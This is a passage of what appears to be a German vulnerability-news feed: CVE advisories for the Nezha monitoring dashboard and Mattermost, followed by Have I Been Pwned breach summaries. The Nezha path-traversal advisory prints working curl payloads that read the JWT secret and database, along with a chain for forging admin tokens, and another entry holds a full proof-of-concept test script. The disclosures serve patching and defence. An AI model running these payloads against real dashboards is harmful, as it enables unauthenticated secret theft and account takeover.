server) 3. **Rate limiter on `createTerminal` and `createFM`** — mirror the existing MCP rate limiter (`mcp_ratelimit.go`) for legacy WebSocket endpoints 4. **Add a configurable `MaxStreamsPerUser` / `MaxStreamsPerServer` setting** so operators can tune limits without code changes
Risiko 5 / 10 CVE-2026-53521 vor 14 Tag(en)
## Summary `PATCH /server/{id}` accepts and persists nonexistent `ddns_profiles` IDs for a member-owned server. If another user later creates a DDNS profile with one of those IDs, the DDNS worker resolves the stored ID and dispatches an update using the other user's DDNS profile configuration in the context of the attacker's server. This is a second-order authorization bypass: direct binding to an existing foreign DDNS profile is correctly denied, but an unresolved future ID can be stored first and later becomes a live cross-user reference. ## Affected versions Confirmed on: - Nezha `v2.0.14` - Commit: `8b5e382fe217107c7b777ea9c6b4bc3d2e156202` The exact affected version range was not determined. ## Impact A normal member who owns a server can prebind one or more future DDNS profile IDs to that server. If another user later creates a DDNS profile with a matching ID, the dashboard DDNS worker can use the victim's DDNS profile/provider configuration for the attacker's server. In the validated worker path, the dispatched DDNS update combines: - the victim DDNS profile ID and owner - the victim profile's provider type - victim profile fields such as domains, access ID, access secret, and retry policy - attacker server context, including the attacker's server ID, owner, IPv4 address, and override DDNS domains This can result in unauthorized DDNS update attempts using another user's DDNS profile context. The attacker does not need permission to bind the victim profile after it exists. The following were not validated: credential disclosure, account takeover, or guaranteed external DNS modification across all providers. The credentials remain server-side in the worker path. The downstream DNS impact depends on the victim profile's provider configuration and what that provider account is authorized to update. ## Affected components - `PATCH /server/{id}` - `cmd/dashboard/controller/server.go` - `service/singleton/singleton.go` - `service/singleton/ddns.go` - `service/singleton/server.go` - `pkg/ddns/ddns.go` ## Root cause The server update path validates submitted DDNS profile IDs through `CheckPermission`, but that check only rejects existing objects owned by another user. Nonexistent IDs are skipped. The `updateServer` path then persists the submitted raw IDs into `DDNSProfilesRaw`, along with override domain data. Later, the DDNS worker resolves the stored profile IDs by ID and dispatches provider updates without revalidating that the resolved profiles belong to the server owner. As a result, an invalid unresolved reference can become a valid cross-user reference after another user creates a DDNS profile with the same global auto-increment ID. ## Reproduction summary The behavior was validated locally with focused regression tests. ### Controller chain proof Test file: `cmd/dashboard/controller/ddns_second_order_test.go` Test name: `TestUpdateServerAllowsFutureDDNSProfileBindingThenResolvesVictimProfile` Command: ```bash go test ./cmd/dashboard/controller -run TestUpdateServerAllowsFutureDDNSProfileBindingThenResolvesVictimProfile -count=1 ``` Result: `pass` The test demonstrates: 1. A normal member owns server `1`. 2. DDNS profile ID `1` does not exist. 3. The member updates their server with `enable_ddns=true` and `ddns_profiles=[1]`. 4. The request succeeds. 5. The server persists `DDNSProfiles=[1]`. 6. Another user later creates a DDNS profile and receives ID `1`. 7. A fresh attempt by the attacker to bind profile `1` is correctly denied. 8. The previously stored reference remains active and resolves in the DDNS worker path. ### Provider-level worker proof Test file: `service/singleton/ddns_worker_authz_test.go` Test name: `TestUpdateDDNSDispatchesVictimProfileForAttackerServer` Command: ```bash go test ./service/singleton -run TestUpdateDDNSDispatchesVictimProfileForAttackerServer -count=1 ``` Result: `pass` The test proves that the DDNS worker does not merely resolve the victim profile. It dispatches a DDNS update using the victim profile configuration and attacker server context. Validated assertions include: - resolved profile ID is `1` - resolved profile owner is victim user `200` - processed server is attacker server `1` owned by user `100` - provider type is the victim profile's provider - victim profile fields are present in worker dispatch: - domains - access ID - access secret - max retries - attacker server context is present in the same dispatch: - IPv4 `198.51.100.44` - attacker-controlled override domains are passed to the worker: - `attacker-controlled.example` ## Practicality The attack requires predicting or prebinding future DDNS profile IDs. This limits severity, but does not remove the authorization issue. Evidence supporting practicality: - DDNS profile IDs are `uint64` GORM primary keys from `model/common.go`. - `createDDNS` uses a normal `DB.Create(&p)` flow and returns `p.ID`. - `DDNSProfiles` is an unbounded `[]uint64` in `model/server_api.go`. - No length or existence validation is applied in `updateServer`. - Invalid/future IDs are preserved in the server record. - Stored unresolved IDs survive reload. - Range prebinding was validated with `[1,2,3,4]`. - The DDNS worker consumes stored IDs on future DDNS update events. - Worker dispatch can occur after server edit and agent IP-change events. - Each DDNS update can retry according to the victim profile's `MaxRetries`. This makes the issue semi-practical: exploitation depends on future ID prediction or range prebinding, but the unresolved IDs persist and can become active later. ## Expected behavior `PATCH /server/{id}` should reject any submitted DDNS profile ID that does not both: 1. exist, and 2. belong to the caller or the owner of the server being updated. The DDNS worker should also avoid trusting stored profile IDs without revalidating ownership before provider resolution or dispatch. ## Actual behavior `PATCH /server/{id}` accepts nonexistent DDNS profile IDs and persists them. If another user later creates a DDNS profile with a matching ID, the stored reference resolves to that user's profile and is consumed by the DDNS worker for the attacker's server. ## Suggested remediation Apply both bind-time and worker-time validation. At bind time: - Reject nonexistent DDNS profile IDs. - Reject DDNS profile IDs that do not belong to the caller/server owner. - Reject or limit excessive DDNS profile ID lists if range prebinding is not intended. At worker time: - Revalidate that every resolved DDNS profile still belongs to the owner of the server being processed. - Skip or remove stale, nonexistent, or foreign DDNS profile references before provider dispatch. Suggested regression tests: - `TestUpdateServerRejectsNonexistentDDNSProfileIDs` - `TestUpdateServerRejectsForeignDDNSProfileIDs` - `TestUpdateServerAcceptsOwnedDDNSProfileIDs` - `TestUpdateDDNSSkipsStaleOrForeignStoredDDNSProfiles` ## Security relevance A direct bind to an existing foreign DDNS profile is already denied, which shows the intended ownership boundary. The issue is that the same boundary can be bypassed by storing a future unresolved ID before the victim profile exists. The worker later treats the stored ID as trusted and dispatches a DDNS update using the victim profile's provider configuration with attacker server context. This is an authorization issue in a deferred worker path, not merely malformed input. ## Limitations - The attacker does not read victim DDNS credentials through the validated path. - Exploitation may require predicting or prebinding future global auto-increment DDNS profile IDs. - The downstream DNS impact depends on the victim profile's provider configuration. - External DNS modification was not claimed as guaranteed across all providers.
Risiko 5 / 10 CVE-2026-53520 vor 14 Tag(en)
### Summary An authenticated non-admin user who owns any server can create or update a NAT profile whose `domain` is equal to the dashboard's own HTTP Host (for example, `dashboard.example:8008`). The dashboard's top-level HTTP/gRPC multiplexer checks `NATShared.GetNATConfigByDomain(r.Host)` before dispatching requests to the dashboard API, frontend, or gRPC handler, so a member-controlled NAT profile for the dashboard Host takes precedence over the real dashboard. A disabled claimed NAT profile blocks matching dashboard requests before they reach the dashboard handler. An enabled claimed NAT profile routes matching requests into `ServeNAT`, which sends a NAT task to the member's selected agent and wraps the original HTTP request into the NAT IO stream. This allows a low-privileged dashboard user to take over routing for a global host name that should be reserved for the dashboard operator. Tested locally against commit `8b5e382fe217107c7b777ea9c6b4bc3d2e156202` of `github.com/nezhahq/nezha`. ### Details The NAT management API is exposed to any authenticated user, not just administrators: `auth.POST("/nat", commonHandler(createNAT))` and `auth.PATCH("/nat/:id", commonHandler(updateNAT))` are registered in `cmd/dashboard/controller/controller.go:147-150`. `createNAT` accepts the request body into `model.NATForm`, verifies only that the selected server exists and `server.HasPermission(c)` succeeds, then stores the caller-controlled `nf.Domain` directly into `n.Domain` and updates the shared NAT cache (`cmd/dashboard/controller/nat.go:48-80`). `updateNAT` performs the same assignment after checking ownership of the selected server and existing NAT record (`cmd/dashboard/controller/nat.go:96-140`). `NATForm.Domain` is an unconstrained string with no reserved-host or host-ownership validation (`model/nat_api.go:3-9`), and `model.NAT.Domain` is only globally unique in the database (`model/nat.go:3-10`). The singleton NAT cache indexes persisted NAT profiles directly by `profile.Domain` in `NewNATClass` (`service/singleton/nat.go:17-25`) and writes updates into the same map with `c.list[n.Domain] = n` (`service/singleton/nat.go:37-45`). Runtime lookup is an exact map lookup of the incoming Host string (`service/singleton/nat.go:65-69`). The routing boundary is global: `newHTTPandGRPCMux` checks `singleton.NATShared.GetNATConfigByDomain(r.Host)` before it checks for gRPC or invokes the dashboard HTTP handler (`cmd/dashboard/main.go:207-225`). If the NAT profile exists but is disabled, the router returns the WAF block page and never reaches the dashboard (`cmd/dashboard/main.go:209-214`). If it is enabled, the router calls `rpc.ServeNAT(w, r, natConfig)` and returns (`cmd/dashboard/main.go:216-217`). `ServeNAT` selects the server from the NAT profile, requires that server's task stream to be online, sends a `TaskTypeNAT` task containing the NAT target host, then calls `utils.NewRequestWrapper(r, w)` and attaches the wrapped original request to the IO stream (`cmd/dashboard/rpc/rpc.go:142-204`). The request wrapper serializes the original request with `req.Write(buf)`, which includes the request line and headers, before streaming it over the hijacked connection (`pkg/utils/request_wrapper.go:19-31`). This is the intended NAT tunnel behavior, but it is unsafe when an ordinary user can bind the dashboard's own Host name. Default/common exposure evidence: the dashboard binary is the primary shipped component of module `github.com/nezhahq/nezha` (`go.mod:1`), listens on port `8008` when `listen_port` is unset (`model/config.go:146-148`), and the Dockerfile exposes `8008` (`Dockerfile:14-18`). NAT management is part of the authenticated dashboard route set, so the vulnerable path is reachable in a default dashboard deployment with multiple users or any non-admin user who controls a server. False-positive checks performed: - The NAT routes are authenticated but not admin-only (`cmd/dashboard/controller/controller.go:147-150`). - The only create-time authorization check is ownership of the selected server (`cmd/dashboard/controller/nat.go:56-65`), not authority over the claimed Host. - The update path likewise accepts a caller-controlled replacement domain after ownership checks (`cmd/dashboard/controller/nat.go:109-139`). - The NAT cache uses the domain string as the global dispatch key without reserving the dashboard Host (`service/singleton/nat.go:17-25`, `service/singleton/nat.go:37-45`, `service/singleton/nat.go:65-69`). - The top-level mux checks NAT before dashboard/gRPC routing (`cmd/dashboard/main.go:207-225`). - A control request using a different Host reaches the dashboard handler in the local reproduction, ruling out a generic handler failure. Candidate score: 16/18. - Reachability: 2 — authenticated NAT API and top-level mux are default dashboard paths. - Attacker control: 2 — `NATForm.Domain` is directly controlled by the authenticated caller. - Privilege required: 1 — requires an authenticated user with an owned server; no admin role is required. - Sink impact: 2 — matching dashboard Host traffic is blocked or routed into the attacker's NAT stream instead of the dashboard. - Mitigation weakness: 2 — no dashboard-host reservation, domain ownership validation, or post-parse host authorization was found. - Default exposure: 2 — dashboard listens on/exposes port 8008 by default and NAT routes are registered in the default authenticated API. - Safe reproduction feasibility: 2 — reproduced locally with a safe temporary unit-test harness and local SQLite database. - Static certainty: 2 — source-to-sink chain is complete from JSON body to NAT cache to global router. - False-positive resistance: 1 — disabled-route preemption is dynamically proven; enabled-route forwarding is supported by code path but was not exercised with a real agent binary in this repository checkout. Exploitability gate result: confirmed for authenticated dashboard Host preemption and denial of service. Enabled-route request forwarding is included as impact rationale from the exact `ServeNAT` source path, but the reproducible proof uses a disabled NAT profile to avoid requiring a live agent. ### PoC The following safe local reproduction adds only temporary test/stub files, uses a temporary SQLite database, runs the real unexported `newHTTPandGRPCMux`, and removes all temporary files on exit. It does not start a public listener or contact external systems. Run from a clean checkout of commit `8b5e382fe217107c7b777ea9c6b4bc3d2e156202`: ```bash cleanup() { rm -f cmd/dashboard/admin-dist/claude_nat_poc_placeholder.txt cmd/dashboard/user-dist/claude_nat_poc_placeholder.txt cmd/dashboard/docs/docs.go cmd/dashboard/nat_host_claim_tmp_test.go; rmdir cmd/dashboard/docs 2>/dev/null || true; } cleanup mkdir -p cmd/dashboard/docs printf 'placeholder' > cmd/dashboard/admin-dist/claude_nat_poc_placeholder.txt printf 'placeholder' > cmd/dashboard/user-dist/claude_nat_poc_placeholder.txt cat > cmd/dashboard/docs/docs.go <<'EOF' package docs var SwaggerInfo = struct{ Version string }{Version: "test"} EOF cat > cmd/dashboard/nat_host_claim_tmp_test.go <<'EOF' package main import ( "fmt" "net/http" "net/http/httptest" "os" "path/filepath" "testing" "github.com/nezhahq/nezha/model" "github.com/nezhahq/nezha/service/singleton" "gorm.io/driver/sqlite" "gorm.io/gorm" ) func TestNATDomainPreemptsDashboardHost(t *testing.T) { dbPath := filepath.Join(t.TempDir(), "nezha-nat-host-poc.sqlite") db, err := gorm.Open(sqlite.Open(dbPath), &gorm.Config{}) if err != nil { t.Fatal(err) } singleton.DB = db if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.NAT{}); err != nil { t.Fatal(err) } member := model.User{Username: "member", Role: model.RoleMember, Password: "unused"} if err := db.Create(&member).Error; err != nil { t.Fatal(err) } server := model.Server{Common: model.Common{UserID: member.ID}, UUID: "11111111-1111-1111-1111-111111111111", Name: "member-agent"} if err := db.Create(&server).Error; err != nil { t.Fatal(err) } nat := model.NAT{Common: model.Common{UserID: member.ID}, Enabled: false, Domain: "dashboard.example:8008", Host: "127.0.0.1:18080", ServerID: server.ID, Name: "claim-dashboard-host"} if err := db.Create(&nat).Error; err != nil { t.Fatal(err) } singleton.NATShared = singleton.NewNATClass() httpHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusTeapot) _, _ = w.Write([]byte("dashboard handler reached")) }) grpcHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusAccepted) }) h := newHTTPandGRPCMux(httpHandler, grpcHandler) req := httptest.NewRequest(http.MethodGet, "http://dashboard.example:8008/api/v1/profile", nil) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code == http.StatusTeapot || rec.Body.String() == "dashboard handler reached" { t.Fatalf("dashboard handler was reached despite claimed NAT host: code=%d body=%q", rec.Code, rec.Body.String()) } fmt.Fprintf(os.Stdout, "positive: Host %s matched disabled member NAT id=%d and preempted dashboard handler with status=%d\n", req.Host, nat.ID, rec.Code) controlReq := httptest.NewRequest(http.MethodGet, "http://other.example:8008/api/v1/profile", nil) controlRec := httptest.NewRecorder() h.ServeHTTP(controlRec, controlReq) if controlRec.Code != http.StatusTeapot || controlRec.Body.String() != "dashboard handler reached" { t.Fatalf("control host did not reach dashboard handler: code=%d body=%q", controlRec.Code, controlRec.Body.String()) } fmt.Fprintf(os.Stdout, "control: Host %s missed NAT and reached dashboard handler with status=%d\n", controlReq.Host, controlRec.Code) } EOF trap cleanup EXIT GOPROXY=off go test ./cmd/dashboard -run TestNATDomainPreemptsDashboardHost -count=1 -v ``` Observed vulnerable output in this environment: ```text === RUN TestNATDomainPreemptsDashboardHost positive: Host dashboard.example:8008 matched disabled member NAT id=1 and preempted dashboard handler with status=403 control: Host other.example:8008 missed NAT and reached dashboard handler with status=418 --- PASS: TestNATDomainPreemptsDashboardHost (0.11s) PASS ok github.com/nezhahq/nezha/cmd/dashboard 0.132s ``` Expected vulnerable output: the positive request for `dashboard.example:8008` must not return the dashboard handler's `418` response; it should be intercepted by the disabled NAT profile and return the WAF/block status. The control request for `other.example:8008` must reach the dashboard handler and return `418` with body `dashboard handler reached`. Cleanup: the shell `trap cleanup EXIT` removes the temporary test file, temporary generated docs stub, and temporary embed placeholders. The SQLite database is created under `t.TempDir()` and removed by Go's test cleanup. Final re-check: the reproduction above was run after source-to-sink analysis and before writing this draft; it passed with the exact output shown above. ### Impact A non-admin authenticated user can bind a global routing key that belongs to the dashboard operator. If the attacker sets `enabled=false`, all requests carrying the claimed dashboard Host are blocked before reaching dashboard API, frontend, or gRPC handlers. This can deny access to the dashboard for all users who use that Host. If the attacker sets `enabled=true` and keeps the selected owned agent online, the matching requests enter `ServeNAT`: the dashboard sends a NAT task to that agent and streams the serialized original HTTP request into the NAT IO stream. Because `utils.NewRequestWrapper` serializes the original request with headers, dashboard requests that should have been processed locally can be forwarded to infrastructure controlled by the low-privileged user. The local proof avoids this stronger enabled-agent path, but the source path is direct in `cmd/dashboard/rpc/rpc.go:142-204` and `pkg/utils/request_wrapper.go:19-31`. ### Suggested remediation Do not allow ordinary NAT profiles to claim dashboard-owned hosts. Recommended fixes: 1. Canonicalize incoming Host values and NAT domain values consistently, including case and port handling. 2. Add a server-side reserved-host check in both `createNAT` and `updateNAT` that rejects the configured dashboard public host(s), listen host/port combinations, and any administrator-reserved domains. 3. Consider making NAT domain creation admin-approved unless the deployment can verify domain ownership for the requesting user. 4. In the top-level mux, route dashboard/gRPC hosts before NAT when the Host is known to belong to the dashboard. 5. Add regression tests covering create, update, cache reload, and mux behavior for dashboard-host collisions. A useful regression test is the PoC above inverted: a member-created NAT with `Domain` equal to the configured dashboard Host should be rejected by the controller, and a request with the dashboard Host should continue to reach the dashboard handler.
Risiko 9.5 / 10 CVE-2026-53519 vor 14 Tag(en)
### Summary `fallbackToFrontend` in the dashboard's `NoRoute` handler treats any URL whose **raw string** starts with `/dashboard` as an admin-frontend asset request. The check uses `strings.HasPrefix`, not a path-segment match, so the input `/dashboard../data/config.yaml` is accepted; `strings.TrimPrefix` leaves `../data/config.yaml`; and `path.Join("admin-dist", "../data/config.yaml")` normalizes to `data/config.yaml` — which `os.Stat` finds and `http.ServeFile` returns. No authentication required. In default deployments (the values shipped in `model/config.go` and the layout shipped in the project `Dockerfile`) `data/config.yaml` contains the HS256 `jwt_secret_key` used by `cmd/dashboard/controller/jwt.go` to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request. ### Details ## Root cause ```go // cmd/dashboard/controller/controller.go @ 636f4a9 387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path) 388: if strings.HasPrefix(c.Request.URL.Path, "/dashboard") { 389: stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard") 390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath) 391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) { 392: return 393: } ``` ```go // cmd/dashboard/controller/controller.go @ 636f4a9 322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) { 323: checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool { 324: if _, err := os.Stat(path); err == nil { 325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path) 326: return true 327: } ``` `fallbackToFrontend` is wired as the catch-all at `cmd/dashboard/controller/controller.go:157` — `r.NoRoute(fallbackToFrontend(frontendDist))` — so every URL not matched by an earlier route reaches it, including pre-auth. ### Path math (verified, see appendix) | Input `URL.Path` | `TrimPrefix(..., "/dashboard")` | `path.Join("admin-dist", ...)` | Reachable file | |---|---|---|---| | `/dashboard/login` | `/login` | `admin-dist/login` | legitimate, intended | | `/dashboard/../data/config.yaml` | `/../data/config.yaml` | `data/config.yaml` | **but blocked by Go `http.ServeFile`'s URL `..`-segment guard → 400** | | `/dashboard../data/config.yaml` | `../data/config.yaml` | `data/config.yaml` | **served, 200** | | `/dashboard%2e%2e/data/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** | | `/dashboard..%2fdata/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** | The negative control (`/dashboard/../data/config.yaml`) lands at the same on-disk path after `path.Join`, but is rejected by `http.ServeFile` because Go's stdlib enforces a URL-level traversal guard that fires when the **request URL** itself contains a standalone `..` segment. The bypass works because in `/dashboard../...` the first URL segment is the single token `dashboard..` — no standalone `..` — so the stdlib guard does not trigger. The traversal segment is **created after `TrimPrefix`**, downstream of every defense. ### Why the existing defenses miss 1. The prefix check is a substring test on the raw URL string, not a segment test. `dashboard` and `dashboard..` are both accepted. 2. `path.Join` silently `Clean`s the result — so the `..` is consumed correctly to escape `admin-dist`, with no error returned to indicate escape. 3. Go's `http.ServeFile` stdlib guard fires only on URLs with a standalone `..` segment (per `net/http.containsDotDot`). The payload puts the dots inside the first segment instead. 4. No anchored "is this still under the template root?" check exists after `path.Join`. ## PoC ### Setup ```text TARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef HARNESS: stdlib-only port — see Appendix A WORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db TIME-TO-REPRO: first request ``` The harness plants this `data/config.yaml`: ```yaml debug: false listen_port: 8008 language: en_US jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE agent_secret_key: REPRO_AGENT_SECRET_VALUE site: brand: nezha-repro ``` ### Observed responses **Primary payload — pre-auth secret disclosure:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml' ``` ```text HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 167 Content-Type: application/yaml Last-Modified: Sun, 24 May 2026 12:16:23 GMT Date: Sun, 24 May 2026 12:16:25 GMT debug: false listen_port: 8008 language: en_US jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE agent_secret_key: REPRO_AGENT_SECRET_VALUE site: brand: nezha-repro ``` **Negative control — Go stdlib guard rejects the canonical form:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml' ``` ```text HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 invalid URL path ``` **Encoded-dot variant — bypass also works:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml' ``` ```text HTTP/1.1 200 OK Content-Length: 167 Content-Type: application/yaml [... full config.yaml including jwt_secret_key ...] ``` **Encoded-slash variant — bypass also works:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml' ``` ```text HTTP/1.1 200 OK Content-Length: 167 Content-Type: application/yaml [... full config.yaml including jwt_secret_key ...] ``` **Double-encoded — confirms the bypass requires single-level encoding:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml' ``` ```text HTTP/1.1 200 OK Content-Length: 30 Content-Type: text/html; charset=utf-8 admin frontend OK ``` The literal `%252e%252e` does not decode to `..`, so the path becomes `admin-dist/%2e%2e/data/config.yaml` (no escape), `os.Stat` fails, and the handler falls through to serving `admin-dist/index.html` — no secret disclosure. **Encoded leading slash — also blocked at the stdlib layer:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml' ``` ```text HTTP/1.1 400 Bad Request invalid URL path ``` **SQLite database exfil — same primitive:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db' ``` ```text HTTP/1.1 200 OK Content-Length: 42 SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY ``` ### Sanity checks - Normal `/dashboard/` request still serves `admin-dist/index.html` with HTTP 200 — the bypass does not regress legitimate behavior. - Requests to `/api/...` still hit the JSON-404 branch — the bypass is isolated to the `/dashboard` fallback. ## Impact ### Direct primitive Unauth read of any file in the dashboard's working directory subtree reachable by escaping `admin-dist` one level. In default deployments that includes: | File | Default path | Why it matters | |---|---|---| | `data/config.yaml` | from `-c` flag default (`cmd/dashboard/main.go:104`) | Contains `jwt_secret_key` (signing key, **HS256**), `agent_secret_key`, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets | | `data/sqlite.db` | from `-db` flag default (`cmd/dashboard/main.go:105`) | Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs | ### Chain to administrative account takeover (verified path) 1. **Read config** — `GET /dashboard../data/config.yaml` returns plaintext YAML containing `jwt_secret_key`. 2. **Read database** — `GET /dashboard../data/sqlite.db` returns the SQLite file; an attacker opens it and reads the `users` table to recover admin user IDs (and any other claims the JWT references). 3. **Forge a JWT** — the dashboard's JWT middleware at `cmd/dashboard/controller/jwt.go:22,27` is wired with: ```go Key: []byte(singleton.Conf.JWTSecretKey), SigningAlgorithm: "HS256", CookieName: "nz-jwt", IdentityKey: model.CtxKeyAuthorizedUser, ``` HS256 is symmetric — possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whose `user_id` claim matches the admin user from step 2 and attaches it as the `nz-jwt` cookie (or `Authorization: Bearer ...`). 4. **Operate as admin** — every admin handler (`adminHandler` chain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings. The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing. ## Suggested fix Make the prefix test segment-aware and reject paths whose cleaned form escapes the template root **before** any filesystem call. Minimal diff: ```diff - if strings.HasPrefix(c.Request.URL.Path, "/dashboard") { - stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard") + if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") { + stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/") + cleanPath := path.Clean("/" + stripPath) + if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") { + c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found"))) + return + } localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath) ``` The `/dashboard` -> `/dashboard/` redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in `frontendPageUrlRegistry`. The same hardening should be applied to the user-template branch (lines 399–405), which uses the same `path.Join` pattern with `singleton.Conf.UserTemplate`. While the `/dashboard` prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled `URL.Path` to that branch would re-introduce the same primitive. A defense-in-depth alternative is to replace the local `os.Stat + http.ServeFile` branch with a `http.FileServer(http.FS(subFS))` rooted at the embedded `admin-dist` subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.
Risiko 5 / 10 CVE-2026-53465 vor 16 Tag(en)
An crafted multi-frame can result in a heap buffer over-write when encoding it with the SF3 encoder.
Risiko 5 / 10 CVE-2026-53464 vor 16 Tag(en)
When providing invalid options to the wand option parser a small memory leak will occur.
Risiko 5 / 10 CVE-2026-4635 vor 35 Tag(en)
Mattermost versions 11.6.x <= 11.6.0, 11.5.x <= 11.5.3, 11.4.x <= 11.4.4, 10.11.x <= 10.11.14 fail to archive the channel before removing persistent notifications which allows authenticated user to crash the server via timing the creation of persistent notification message between the server deleting existing persistent notifications and archiving the channel. Mattermost Advisory ID: MMSA-2026-00637.
Risiko 7.5 / 10 CVE-2026-3473 vor 35 Tag(en)
Mattermost versions 11.6.x <= 11.6.0, 11.5.x <= 11.5.3, 11.4.x <= 11.4.4, 10.11.x <= 10.11.14 fail to validate file ownership and access control, which allows an authenticated user to access and download files belonging to other users or teams via crafted Boards API requests using valid file IDs. Mattermost Advisory ID: MMSA-2026-00620.
Risiko 5 / 10 CVE-2026-3636 vor 35 Tag(en)
Mattermost versions 11.6.x <= 11.6.0, 11.5.x <= 11.5.3, 11.4.x <= 11.4.4, 10.11.x <= 10.11.14 fail to sanitize team member data when returned via API to users without elevated permissions which allows a user without permissions to get data about team members roles via invoking various team API endpoints. Mattermost Advisory ID: MMSA-2026-00626.

Das "CVE"-Repository (eng. Common Vulnerabilities and Exposures) stellt eine Liste bekannter Schwachstellen und Sicherheitslücken in IT-Systemen unter Führung des "US-amerikanischen National Cybersecurity" zusammen und bewertet diese anhand Ihres Risikos auf einer Skala von eins bis zehn.


Gerade im Bereich von Web-Technologien und Cloud-Software werden regelmäßig Hacks und Sicherheitslücken bekannt. Die betroffenen Unternehmen erleiden in der Regel nicht nur einen Image-Schaden sondern stehen womöglich gegenüber Ihren Kunden auch in der rechtlichen Verantwortung. Das Projekt "Have I Been Pwned" sammelt seit Jahren Daten die aus Hacks oder Datenlecks öffentlich zugänglich werden und bietet einen Service um zu prüfen, ob man selbst von diesen Hacks betroffen wurde.

18.06.2026 - Operation Endgame 4.0 4.160.519 Datensätze geleaked
Email addresses, Passwords

On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities initially provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords recovered during the operation. The following week, a further 4M email addresses and 9M passwords relating to the StealC malware operation targeted by Operation Endgame were provided to HIBP, bringing the total to almost 4.2M unique email addresses.
15.06.2026 - June 2026 Stealer Logs 56.278.397 Datensätze geleaked
Email addresses, Passwords

In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API.
12.06.2026 - American Tower 216.601 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In June 2026, telecommunications tower infrastructure company American Tower was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly taken from the company containing more than 200k unique email addresses belonging to employees, contractors, customers, and leads. Exposed data also included names, addresses, and phone numbers.
12.06.2026 - JCPenney 368.418 Datensätze geleaked
Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames

In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses.
11.06.2026 - Ralph Lauren 139.903 Datensätze geleaked
Age groups, Email addresses, Genders, Names, Phone numbers

In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups.
09.06.2026 - University of Nottingham 454.635 Datensätze geleaked
Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames

In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni".
